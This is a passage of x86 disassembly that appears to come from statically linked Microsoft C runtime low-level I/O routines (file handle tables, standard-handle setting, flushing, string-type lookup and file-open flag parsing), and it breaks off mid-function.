mov eax, [ebp+var_4]
push eax
call ds:dword_4F3548
mov [ebp+var_4], eax
loc_430B41: ; CODE XREF: sub_430AA0+89j
; sub_430AA0+92j
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
mov ecx, [ebp+var_4]
push ecx
call ds:dword_4F3540
loc_430B57: ; CODE XREF: sub_430AA0+49j
mov esp, ebp
pop ebp
retn
sub_430AA0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_430B60 proc near ; CODE XREF: _0:loc_430FF2p
; sub_4314E0:loc_431779p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
mov [ebp+var_8], 0FFFFFFFFh
push 12h
call sub_423280
add esp, 4
mov [ebp+var_C], 0
jmp short loc_430B8A
; ---------------------------------------------------------------------------
loc_430B81: ; CODE XREF: sub_430B60:loc_430D2Bj
mov eax, [ebp+var_C]
add eax, 1
mov [ebp+var_C], eax
loc_430B8A: ; CODE XREF: sub_430B60+1Fj
cmp [ebp+var_C], 40h
jge loc_430D30
mov ecx, [ebp+var_C]
cmp ds:dword_4F36C0[ecx*4], 0
jz loc_430C96
mov edx, [ebp+var_C]
mov eax, ds:dword_4F36C0[edx*4]
mov [ebp+var_4], eax
jmp short loc_430BBD
; ---------------------------------------------------------------------------
loc_430BB4: ; CODE XREF: sub_430B60+F1j
; sub_430B60:loc_430C81j
mov ecx, [ebp+var_4]
add ecx, 24h
mov [ebp+var_4], ecx
loc_430BBD: ; CODE XREF: sub_430B60+52j
mov edx, [ebp+var_C]
mov eax, ds:dword_4F36C0[edx*4]
add eax, 480h
cmp [ebp+var_4], eax
jnb loc_430C86
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx+4]
and edx, 1
test edx, edx
jnz loc_430C81
mov eax, [ebp+var_4]
cmp dword ptr [eax+8], 0
jnz short loc_430C29
push 11h
call sub_423280
add esp, 4
mov ecx, [ebp+var_4]
cmp dword ptr [ecx+8], 0
jnz short loc_430C1F
mov edx, [ebp+var_4]
add edx, 0Ch
push edx
call ds:dword_4F54A4 ; InitializeCriticalSection
mov eax, [ebp+var_4]
mov ecx, [eax+8]
add ecx, 1
mov edx, [ebp+var_4]
mov [edx+8], ecx
loc_430C1F: ; CODE XREF: sub_430B60+A1j
push 11h
call sub_423320
add esp, 4
loc_430C29: ; CODE XREF: sub_430B60+8Ej
mov eax, [ebp+var_4]
add eax, 0Ch
push eax
call ds:dword_4F53A8 ; RtlEnterCriticalSection
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx+4]
and edx, 1
test edx, edx
jz short loc_430C56
mov eax, [ebp+var_4]
add eax, 0Ch
push eax
call ds:dword_4F53A4 ; RtlLeaveCriticalSection
jmp loc_430BB4
; ---------------------------------------------------------------------------
loc_430C56: ; CODE XREF: sub_430B60+E2j
mov ecx, [ebp+var_4]
mov dword ptr [ecx], 0FFFFFFFFh
mov ecx, [ebp+var_C]
shl ecx, 5
mov edx, [ebp+var_C]
mov eax, [ebp+var_4]
sub eax, ds:dword_4F36C0[edx*4]
cdq
mov esi, 24h
idiv esi
add ecx, eax
mov [ebp+var_8], ecx
jmp short loc_430C86
; ---------------------------------------------------------------------------
loc_430C81: ; CODE XREF: sub_430B60+81j
jmp loc_430BB4
; ---------------------------------------------------------------------------
loc_430C86: ; CODE XREF: sub_430B60+6Fj
; sub_430B60+11Fj
cmp [ebp+var_8], 0FFFFFFFFh
jz short loc_430C91
jmp loc_430D30
; ---------------------------------------------------------------------------
loc_430C91: ; CODE XREF: sub_430B60+12Aj
jmp loc_430D2B
; ---------------------------------------------------------------------------
loc_430C96: ; CODE XREF: sub_430B60+3Fj
push 79h
push offset aOsfinfo_c ; "osfinfo.c"
push 2
push 480h
call sub_41BE70
add esp, 10h
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jz short loc_430D29
mov eax, [ebp+var_C]
mov ecx, [ebp+var_4]
mov ds:dword_4F36C0[eax*4], ecx
mov edx, ds:dword_4F37C0
add edx, 20h
mov ds:dword_4F37C0, edx
jmp short loc_430CDC
; ---------------------------------------------------------------------------
loc_430CD3: ; CODE XREF: sub_430B60+1B2j
mov eax, [ebp+var_4]
add eax, 24h
mov [ebp+var_4], eax
loc_430CDC: ; CODE XREF: sub_430B60+171j
mov ecx, [ebp+var_C]
mov edx, ds:dword_4F36C0[ecx*4]
add edx, 480h
cmp [ebp+var_4], edx
jnb short loc_430D14
mov eax, [ebp+var_4]
mov byte ptr [eax+4], 0
mov ecx, [ebp+var_4]
mov dword ptr [ecx], 0FFFFFFFFh
mov edx, [ebp+var_4]
mov byte ptr [edx+5], 0Ah
mov eax, [ebp+var_4]
mov dword ptr [eax+8], 0
jmp short loc_430CD3
; ---------------------------------------------------------------------------
loc_430D14: ; CODE XREF: sub_430B60+18Fj
mov ecx, [ebp+var_C]
shl ecx, 5
mov [ebp+var_8], ecx
mov edx, [ebp+var_8]
push edx
call sub_431070
add esp, 4
loc_430D29: ; CODE XREF: sub_430B60+153j
jmp short loc_430D30
; ---------------------------------------------------------------------------
loc_430D2B: ; CODE XREF: sub_430B60:loc_430C91j
jmp loc_430B81
; ---------------------------------------------------------------------------
loc_430D30: ; CODE XREF: sub_430B60+2Ej
; sub_430B60+12Cj ...
push 12h
call sub_423320
add esp, 4
mov eax, [ebp+var_8]
pop esi
mov esp, ebp
pop ebp
retn
sub_430B60 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_430D50 proc near ; CODE XREF: _0:00431023p
; sub_4314E0+379p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
cmp eax, ds:dword_4F37C0
jnb loc_430DEA
mov ecx, [ebp+arg_0]
sar ecx, 5
mov edx, [ebp+arg_0]
and edx, 1Fh
imul edx, 24h
mov eax, ds:dword_4F36C0[ecx*4]
cmp dword ptr [eax+edx], 0FFFFFFFFh
jnz short loc_430DEA
cmp ds:dword_451844, 1
jnz short loc_430DCA
mov ecx, [ebp+arg_0]
mov [ebp+var_4], ecx
cmp [ebp+var_4], 0
jz short loc_430DA2
cmp [ebp+var_4], 1
jz short loc_430DB0
cmp [ebp+var_4], 2
jz short loc_430DBE
jmp short loc_430DCA
; ---------------------------------------------------------------------------
loc_430DA2: ; CODE XREF: sub_430D50+42j
mov edx, [ebp+arg_4]
push edx
push 0FFFFFFF6h
call ds:dword_4F5310 ; SetStdHandle
jmp short loc_430DCA
; ---------------------------------------------------------------------------
loc_430DB0: ; CODE XREF: sub_430D50+48j
mov eax, [ebp+arg_4]
push eax
push 0FFFFFFF5h
call ds:dword_4F5310 ; SetStdHandle
jmp short loc_430DCA
; ---------------------------------------------------------------------------
loc_430DBE: ; CODE XREF: sub_430D50+4Ej
mov ecx, [ebp+arg_4]
push ecx
push 0FFFFFFF4h
call ds:dword_4F5310 ; SetStdHandle
loc_430DCA: ; CODE XREF: sub_430D50+36j
; sub_430D50+50j ...
mov edx, [ebp+arg_0]
sar edx, 5
mov eax, [ebp+arg_0]
and eax, 1Fh
imul eax, 24h
mov ecx, ds:dword_4F36C0[edx*4]
mov edx, [ebp+arg_4]
mov [ecx+eax], edx
xor eax, eax
jmp short loc_430E03
; ---------------------------------------------------------------------------
loc_430DEA: ; CODE XREF: sub_430D50+Dj
; sub_430D50+2Dj
call sub_429A90
mov dword ptr [eax], 9
call sub_429AA0
mov dword ptr [eax], 0
or eax, 0FFFFFFFFh
loc_430E03: ; CODE XREF: sub_430D50+98j
mov esp, ebp
pop ebp
retn
sub_430D50 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_430E10 proc near ; CODE XREF: sub_422D30+69p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
cmp eax, ds:dword_4F37C0
jnb loc_430ECB
mov ecx, [ebp+arg_0]
sar ecx, 5
mov edx, [ebp+arg_0]
and edx, 1Fh
imul edx, 24h
mov eax, ds:dword_4F36C0[ecx*4]
movsx ecx, byte ptr [eax+edx+4]
and ecx, 1
test ecx, ecx
jz loc_430ECB
mov edx, [ebp+arg_0]
sar edx, 5
mov eax, [ebp+arg_0]
and eax, 1Fh
imul eax, 24h
mov ecx, ds:dword_4F36C0[edx*4]
cmp dword ptr [ecx+eax], 0FFFFFFFFh
jz short loc_430ECB
cmp ds:dword_451844, 1
jnz short loc_430EAA
mov edx, [ebp+arg_0]
mov [ebp+var_4], edx
cmp [ebp+var_4], 0
jz short loc_430E88
cmp [ebp+var_4], 1
jz short loc_430E94
cmp [ebp+var_4], 2
jz short loc_430EA0
jmp short loc_430EAA
; ---------------------------------------------------------------------------
loc_430E88: ; CODE XREF: sub_430E10+68j
push 0
push 0FFFFFFF6h
call ds:dword_4F5310 ; SetStdHandle
jmp short loc_430EAA
; ---------------------------------------------------------------------------
loc_430E94: ; CODE XREF: sub_430E10+6Ej
push 0
push 0FFFFFFF5h
call ds:dword_4F5310 ; SetStdHandle
jmp short loc_430EAA
; ---------------------------------------------------------------------------
loc_430EA0: ; CODE XREF: sub_430E10+74j
push 0
push 0FFFFFFF4h
call ds:dword_4F5310 ; SetStdHandle
loc_430EAA: ; CODE XREF: sub_430E10+5Cj
; sub_430E10+76j ...
mov eax, [ebp+arg_0]
sar eax, 5
mov ecx, [ebp+arg_0]
and ecx, 1Fh
imul ecx, 24h
mov edx, ds:dword_4F36C0[eax*4]
mov dword ptr [edx+ecx], 0FFFFFFFFh
xor eax, eax
jmp short loc_430EE4
; ---------------------------------------------------------------------------
loc_430ECB: ; CODE XREF: sub_430E10+Dj
; sub_430E10+33j ...
call sub_429A90
mov dword ptr [eax], 9
call sub_429AA0
mov dword ptr [eax], 0
or eax, 0FFFFFFFFh
loc_430EE4: ; CODE XREF: sub_430E10+B9j
mov esp, ebp
pop ebp
retn
sub_430E10 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_430EF0 proc near ; CODE XREF: sub_422D30+9p
; sub_422D30+24p ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
cmp eax, ds:dword_4F37C0
jnb short loc_430F3B
mov ecx, [ebp+arg_0]
sar ecx, 5
mov edx, [ebp+arg_0]
and edx, 1Fh
imul edx, 24h
mov eax, ds:dword_4F36C0[ecx*4]
movsx ecx, byte ptr [eax+edx+4]
and ecx, 1
test ecx, ecx
jz short loc_430F3B
mov edx, [ebp+arg_0]
sar edx, 5
mov eax, [ebp+arg_0]
and eax, 1Fh
imul eax, 24h
mov ecx, ds:dword_4F36C0[edx*4]
mov eax, [ecx+eax]
jmp short loc_430F54
; ---------------------------------------------------------------------------
loc_430F3B: ; CODE XREF: sub_430EF0+Cj
; sub_430EF0+2Ej
call sub_429A90
mov dword ptr [eax], 9
call sub_429AA0
mov dword ptr [eax], 0
or eax, 0FFFFFFFFh
loc_430F54: ; CODE XREF: sub_430EF0+49j
pop ebp
retn
sub_430EF0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
sub esp, 0Ch
mov byte ptr [ebp-0Ch], 0
mov eax, [ebp+0Ch]
and eax, 8
test eax, eax
jz short loc_430F7D
mov cl, [ebp-0Ch]
or cl, 20h
mov [ebp-0Ch], cl
loc_430F7D: ; CODE XREF: _0:00430F72j
mov edx, [ebp+0Ch]
and edx, 4000h
test edx, edx
jz short loc_430F92
mov al, [ebp-0Ch]
or al, 80h
mov [ebp-0Ch], al
loc_430F92: ; CODE XREF: _0:00430F88j
mov ecx, [ebp+0Ch]
and ecx, 80h
test ecx, ecx
jz short loc_430FA8
mov dl, [ebp-0Ch]
or dl, 10h
mov [ebp-0Ch], dl
loc_430FA8: ; CODE XREF: _0:00430F9Dj
mov eax, [ebp+8]
push eax
call ds:dword_4F5314 ; GetFileType
mov [ebp-4], eax
cmp dword ptr [ebp-4], 0
jnz short loc_430FD2
call ds:dword_4F5360 ; RtlGetLastWin32Error
push eax
call sub_4299F0
add esp, 4
or eax, 0FFFFFFFFh
jmp loc_431060
; ---------------------------------------------------------------------------
loc_430FD2: ; CODE XREF: _0:00430FB9j
cmp dword ptr [ebp-4], 2
jnz short loc_430FE3
mov cl, [ebp-0Ch]
or cl, 40h
mov [ebp-0Ch], cl
jmp short loc_430FF2
; ---------------------------------------------------------------------------
loc_430FE3: ; CODE XREF: _0:00430FD6j
cmp dword ptr [ebp-4], 3
jnz short loc_430FF2
mov dl, [ebp-0Ch]
or dl, 8
mov [ebp-0Ch], dl
loc_430FF2: ; CODE XREF: _0:00430FE1j _0:00430FE7j
call sub_430B60
mov [ebp-8], eax
cmp dword ptr [ebp-8], 0FFFFFFFFh
jnz short loc_43101B
call sub_429A90
mov dword ptr [eax], 18h
call sub_429AA0
mov dword ptr [eax], 0
or eax, 0FFFFFFFFh
jmp short loc_431060
; ---------------------------------------------------------------------------
loc_43101B: ; CODE XREF: _0:00430FFEj
mov eax, [ebp+8]
push eax
mov ecx, [ebp-8]
push ecx
call sub_430D50
add esp, 8
mov dl, [ebp-0Ch]
or dl, 1
mov [ebp-0Ch], dl
mov eax, [ebp-8]
sar eax, 5
mov ecx, [ebp-8]
and ecx, 1Fh
imul ecx, 24h
mov edx, ds:dword_4F36C0[eax*4]
mov al, [ebp-0Ch]
mov [edx+ecx+4], al
mov ecx, [ebp-8]
push ecx
call sub_431100
add esp, 4
mov eax, [ebp-8]
loc_431060: ; CODE XREF: _0:00430FCDj _0:00431019j
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_431070 proc near ; CODE XREF: sub_422CB0+50p
; sub_4272F0+50p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
sar eax, 5
mov ecx, [ebp+arg_0]
and ecx, 1Fh
imul ecx, 24h
mov edx, ds:dword_4F36C0[eax*4]
add edx, ecx
mov [ebp+var_4], edx
mov eax, [ebp+var_4]
cmp dword ptr [eax+8], 0
jnz short loc_4310D1
push 11h
call sub_423280
add esp, 4
mov ecx, [ebp+var_4]
cmp dword ptr [ecx+8], 0
jnz short loc_4310C7
mov edx, [ebp+var_4]
add edx, 0Ch
push edx
call ds:dword_4F54A4 ; InitializeCriticalSection
mov eax, [ebp+var_4]
mov ecx, [eax+8]
add ecx, 1
mov edx, [ebp+var_4]
mov [edx+8], ecx
loc_4310C7: ; CODE XREF: sub_431070+39j
push 11h
call sub_423320
add esp, 4
loc_4310D1: ; CODE XREF: sub_431070+26j
mov eax, [ebp+arg_0]
sar eax, 5
mov ecx, [ebp+arg_0]
and ecx, 1Fh
imul ecx, 24h
mov edx, ds:dword_4F36C0[eax*4]
lea eax, [edx+ecx+0Ch]
push eax
call ds:dword_4F53A8 ; RtlEnterCriticalSection
mov esp, ebp
pop ebp
retn
sub_431070 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_431100 proc near ; CODE XREF: sub_422CB0+6Bp
; sub_4272F0+73p ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
sar eax, 5
mov ecx, [ebp+arg_0]
and ecx, 1Fh
imul ecx, 24h
mov edx, ds:dword_4F36C0[eax*4]
lea eax, [edx+ecx+0Ch]
push eax
call ds:dword_4F53A4 ; RtlLeaveCriticalSection
pop ebp
retn
sub_431100 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_431130 proc near ; CODE XREF: sub_422ED0+2Fp
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
cmp eax, ds:dword_4F37C0
jnb short loc_431161
mov ecx, [ebp+arg_0]
sar ecx, 5
mov edx, [ebp+arg_0]
and edx, 1Fh
imul edx, 24h
mov eax, ds:dword_4F36C0[ecx*4]
movsx ecx, byte ptr [eax+edx+4]
and ecx, 1
test ecx, ecx
jnz short loc_431174
loc_431161: ; CODE XREF: sub_431130+Dj
call sub_429A90
mov dword ptr [eax], 9
or eax, 0FFFFFFFFh
jmp loc_4311FE
; ---------------------------------------------------------------------------
loc_431174: ; CODE XREF: sub_431130+2Fj
mov edx, [ebp+arg_0]
push edx
call sub_431070
add esp, 4
mov eax, [ebp+arg_0]
sar eax, 5
mov ecx, [ebp+arg_0]
and ecx, 1Fh
imul ecx, 24h
mov edx, ds:dword_4F36C0[eax*4]
movsx eax, byte ptr [edx+ecx+4]
and eax, 1
test eax, eax
jz short loc_4311DD
mov ecx, [ebp+arg_0]
push ecx
call sub_430EF0
add esp, 4
push eax
call ds:dword_4F530C ; FlushFileBuffers
test eax, eax
jnz short loc_4311C4
call ds:dword_4F5360 ; RtlGetLastWin32Error
mov [ebp+var_4], eax
jmp short loc_4311CB
; ---------------------------------------------------------------------------
loc_4311C4: ; CODE XREF: sub_431130+87j
mov [ebp+var_4], 0
loc_4311CB: ; CODE XREF: sub_431130+92j
cmp [ebp+var_4], 0
jnz short loc_4311D3
jmp short loc_4311EF
; ---------------------------------------------------------------------------
loc_4311D3: ; CODE XREF: sub_431130+9Fj
call sub_429AA0
mov edx, [ebp+var_4]
mov [eax], edx
loc_4311DD: ; CODE XREF: sub_431130+70j
call sub_429A90
mov dword ptr [eax], 9
mov [ebp+var_4], 0FFFFFFFFh
loc_4311EF: ; CODE XREF: sub_431130+A1j
mov eax, [ebp+arg_0]
push eax
call sub_431100
add esp, 4
mov eax, [ebp+var_4]
loc_4311FE: ; CODE XREF: sub_431130+3Fj
mov esp, ebp
pop ebp
retn
sub_431130 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_431210 proc near ; CODE XREF: sub_427040+98p
; sub_429560+ECp ...
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_43D778
push offset sub_423364
mov eax, large fs:0
push eax
mov large fs:0, esp
add esp, 0FFFFFFE4h
push ebx
push esi
push edi
mov [ebp+var_18], esp
cmp ds:dword_4F354C, 0
jnz short loc_43128E
lea eax, [ebp+var_1C]
push eax
push 1
push offset dword_43D410
push 1
call ds:dword_4F5304 ; GetStringTypeW
test eax, eax
jz short loc_431262
mov ds:dword_4F354C, 1
jmp short loc_43128E
; ---------------------------------------------------------------------------
loc_431262: ; CODE XREF: sub_431210+44j
lea ecx, [ebp+var_1C]
push ecx
push 1
push offset dword_43D40C
push 1
push 0
call ds:dword_4F5308 ; GetStringTypeA
test eax, eax
jz short loc_431287
mov ds:dword_4F354C, 2
jmp short loc_43128E
; ---------------------------------------------------------------------------
loc_431287: ; CODE XREF: sub_431210+69j
xor eax, eax
jmp loc_4313B8
; ---------------------------------------------------------------------------
loc_43128E: ; CODE XREF: sub_431210+2Dj
; sub_431210+50j ...
cmp ds:dword_4F354C, 2
jnz short loc_4312C5
cmp [ebp+arg_14], 0
jnz short loc_4312A6
mov edx, ds:dword_4F33F8
mov [ebp+arg_14], edx
loc_4312A6: ; CODE XREF: sub_431210+8Bj
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
mov ecx, [ebp+arg_14]
push ecx
call ds:dword_4F5308 ; GetStringTypeA
jmp loc_4313B8
; ---------------------------------------------------------------------------
loc_4312C5: ; CODE XREF: sub_431210+85j
cmp ds:dword_4F354C, 1
jnz loc_4313B6
cmp [ebp+arg_10], 0
jnz short loc_4312E1
mov edx, ds:dword_4F3408
mov [ebp+arg_10], edx
loc_4312E1: ; CODE XREF: sub_431210+C6j
push 0
push 0
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_18]
neg edx
sbb edx, edx
and edx, 8
add edx, 1
push edx
mov eax, [ebp+arg_10]
push eax
call ds:dword_4F5454 ; MultiByteToWideChar
mov [ebp+var_20], eax
cmp [ebp+var_20], 0
jnz short loc_431315
xor eax, eax
jmp loc_4313B8
; ---------------------------------------------------------------------------
loc_431315: ; CODE XREF: sub_431210+FCj
mov [ebp+var_4], 0
mov eax, [ebp+var_20]
shl eax, 1
add eax, 3
and al, 0FCh
call sub_41EF80
mov [ebp+var_2C], esp
mov [ebp+var_18], esp
mov ecx, [ebp+var_2C]
mov [ebp+var_24], ecx
mov edx, [ebp+var_20]
shl edx, 1
push edx
push 0
mov eax, [ebp+var_24]
push eax
call sub_41E4B0
add esp, 0Ch
mov [ebp+var_4], 0FFFFFFFFh
jmp short loc_43136B
; ---------------------------------------------------------------------------
mov eax, 1
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
mov [ebp+var_24], 0
mov [ebp+var_4], 0FFFFFFFFh
loc_43136B: ; CODE XREF: sub_431210+142j
cmp [ebp+var_24], 0
jnz short loc_431375
xor eax, eax
jmp short loc_4313B8
; ---------------------------------------------------------------------------
loc_431375: ; CODE XREF: sub_431210+15Fj
mov ecx, [ebp+var_20]
push ecx
mov edx, [ebp+var_24]
push edx
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
push 1
mov edx, [ebp+arg_10]
push edx
call ds:dword_4F5454 ; MultiByteToWideChar
mov [ebp+var_28], eax
cmp [ebp+var_28], 0
jnz short loc_43139E
xor eax, eax
jmp short loc_4313B8
; ---------------------------------------------------------------------------
loc_43139E: ; CODE XREF: sub_431210+188j
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+var_28]
push ecx
mov edx, [ebp+var_24]
push edx
mov eax, [ebp+arg_0]
push eax
call ds:dword_4F5304 ; GetStringTypeW
jmp short loc_4313B8
; ---------------------------------------------------------------------------
loc_4313B6: ; CODE XREF: sub_431210+BCj
xor eax, eax
loc_4313B8: ; CODE XREF: sub_431210+79j
; sub_431210+B0j ...
lea esp, [ebp-38h]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_431210 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4313D0 proc near ; CODE XREF: sub_427100+A1p
; sub_427CE0+137p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
loc_4313D7: ; CODE XREF: sub_4313D0+2Fj
cmp [ebp+arg_0], 0
jnz short loc_4313FB
push offset dword_43C514
push 0
push 2Eh
push offset dword_43D784
push 2
call sub_422610
add esp, 14h
cmp eax, 1
jnz short loc_4313FB
int 3 ; Trap to Debugger
loc_4313FB: ; CODE XREF: sub_4313D0+Bj
; sub_4313D0+28j
xor eax, eax
test eax, eax
jnz short loc_4313D7
mov ecx, ds:dword_4F336C
add ecx, 1
mov ds:dword_4F336C, ecx
mov edx, [ebp+arg_0]
mov [ebp+var_4], edx
push 3Bh
push offset dword_43D784
push 2
push 1000h
call sub_41BE70
add esp, 10h
mov ecx, [ebp+var_4]
mov [ecx+8], eax
mov edx, [ebp+var_4]
cmp dword ptr [edx+8], 0
jz short loc_431456
mov eax, [ebp+var_4]
mov ecx, [eax+0Ch]
or ecx, 8
mov edx, [ebp+var_4]
mov [edx+0Ch], ecx
mov eax, [ebp+var_4]
mov dword ptr [eax+18h], 1000h
jmp short loc_43147B
; ---------------------------------------------------------------------------
loc_431456: ; CODE XREF: sub_4313D0+69j
mov ecx, [ebp+var_4]
mov edx, [ecx+0Ch]
or edx, 4
mov eax, [ebp+var_4]
mov [eax+0Ch], edx
mov ecx, [ebp+var_4]
add ecx, 14h
mov edx, [ebp+var_4]
mov [edx+8], ecx
mov eax, [ebp+var_4]
mov dword ptr [eax+18h], 2
loc_43147B: ; CODE XREF: sub_4313D0+84j
mov ecx, [ebp+var_4]
mov edx, [ebp+var_4]
mov eax, [edx+8]
mov [ecx], eax
mov ecx, [ebp+var_4]
mov dword ptr [ecx+4], 0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4313D0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
sub esp, 8
lea eax, [ebp+10h]
mov [ebp-8], eax
mov ecx, [ebp-8]
add ecx, 4
mov [ebp-8], ecx
mov edx, [ebp-8]
mov eax, [edx-4]
mov [ebp-4], eax
mov dword ptr [ebp-8], 0
mov ecx, [ebp-4]
push ecx
push 40h
mov edx, [ebp+0Ch]
push edx
mov eax, [ebp+8]
push eax
call sub_4314E0
add esp, 10h
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4314E0 proc near ; CODE XREF: sub_4277D0+2B0p
; _0:004314D3p
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = byte ptr -38h
var_34 = dword ptr -34h
var_30 = byte ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = byte ptr 14h
push ebp
mov ebp, esp
sub esp, 48h
mov [ebp+var_24], 0Ch
mov [ebp+var_20], 0
mov eax, [ebp+arg_4]
and eax, 80h
test eax, eax
jz short loc_43150D
mov [ebp+var_1C], 0
mov [ebp+var_38], 10h
jmp short loc_431518
; ---------------------------------------------------------------------------
loc_43150D: ; CODE XREF: sub_4314E0+1Ej
mov [ebp+var_1C], 1
mov [ebp+var_38], 0
loc_431518: ; CODE XREF: sub_4314E0+2Bj
mov ecx, [ebp+arg_4]
and ecx, 8000h
test ecx, ecx
jnz short loc_431551
mov edx, [ebp+arg_4]
and edx, 4000h
test edx, edx
jz short loc_43153C
mov al, [ebp+var_38]
or al, 80h
mov [ebp+var_38], al
jmp short loc_431551
; ---------------------------------------------------------------------------
loc_43153C: ; CODE XREF: sub_4314E0+50j
cmp ds:dword_4F3678, 8000h
jz short loc_431551
mov cl, [ebp+var_38]
or cl, 80h
mov [ebp+var_38], cl
loc_431551: ; CODE XREF: sub_4314E0+43j
; sub_4314E0+5Aj ...
mov edx, [ebp+arg_4]
and edx, 3
mov [ebp+var_40], edx
cmp [ebp+var_40], 0
jz short loc_43156E
cmp [ebp+var_40], 1
jz short loc_431577
cmp [ebp+var_40], 2
jz short loc_431580
jmp short loc_431589
; ---------------------------------------------------------------------------
loc_43156E: ; CODE XREF: sub_4314E0+7Ej
mov [ebp+var_34], 80000000h
jmp short loc_4315A7
; ---------------------------------------------------------------------------
loc_431577: ; CODE XREF: sub_4314E0+84j
mov [ebp+var_34], 40000000h
jmp short loc_4315A7
; ---------------------------------------------------------------------------
loc_431580: ; CODE XREF: sub_4314E0+8Aj
mov [ebp+var_34], 0C0000000h
jmp short loc_4315A7
; ---------------------------------------------------------------------------
loc_431589: ; CODE XREF: sub_4314E0+8Cj
call sub_429A90
mov dword ptr [eax], 16h
call sub_429AA0
mov dword ptr [eax], 0
or eax, 0FFFFFFFFh
jmp loc_4319EA
; ---------------------------------------------------------------------------
loc_4315A7: ; CODE XREF: sub_4314E0+95j
; sub_4314E0+9Ej ...
mov eax, [ebp+arg_8]
mov [ebp+var_44], eax
mov ecx, [ebp+var_44]
sub ecx, 10h
mov [ebp+var_44], ecx
cmp [ebp+var_44], 30h
ja short loc_4315F2
mov eax, [ebp+var_44]
xor edx, edx
mov dl, byte_431A02[eax]
jmp off_4319EE[edx*4]
loc_4315CE: ; DATA XREF: _0:off_4319EEo
mov [ebp+var_8], 0
jmp short loc_431610
; ---------------------------------------------------------------------------
loc_4315D7: ; CODE XREF: sub_4314E0+E7j
; DATA XREF: _0:004319F2o
mov [ebp+var_8], 1
jmp short loc_431610
; ---------------------------------------------------------------------------
loc_4315E0: ; CODE XREF: sub_4314E0+E7j
; DATA XREF: _0:004319F6o
mov [ebp+var_8], 2
jmp short loc_431610
; ---------------------------------------------------------------------------
loc_4315E9: ; CODE XREF: sub_4314E0+E7j
; DATA XREF: _0:004319FAo
mov [ebp+var_8], 3
jmp short loc_431610
; ---------------------------------------------------------------------------
loc_4315F2: ; CODE XREF: sub_4314E0+DAj
; sub_4314E0+E7j
; DATA XREF: ...
call sub_429A90
mov dword ptr [eax], 16h
call sub_429AA0
mov dword ptr [eax], 0
or eax, 0FFFFFFFFh
jmp loc_4319EA
; ---------------------------------------------------------------------------
loc_431610: ; CODE XREF: sub_4314E0+F5j
; sub_4314E0+FEj ...
mov ecx, [ebp+arg_4]
and ecx, 700h
mov [ebp+var_48], ecx
cmp [ebp+var_48], 400h
jg short loc_43165C
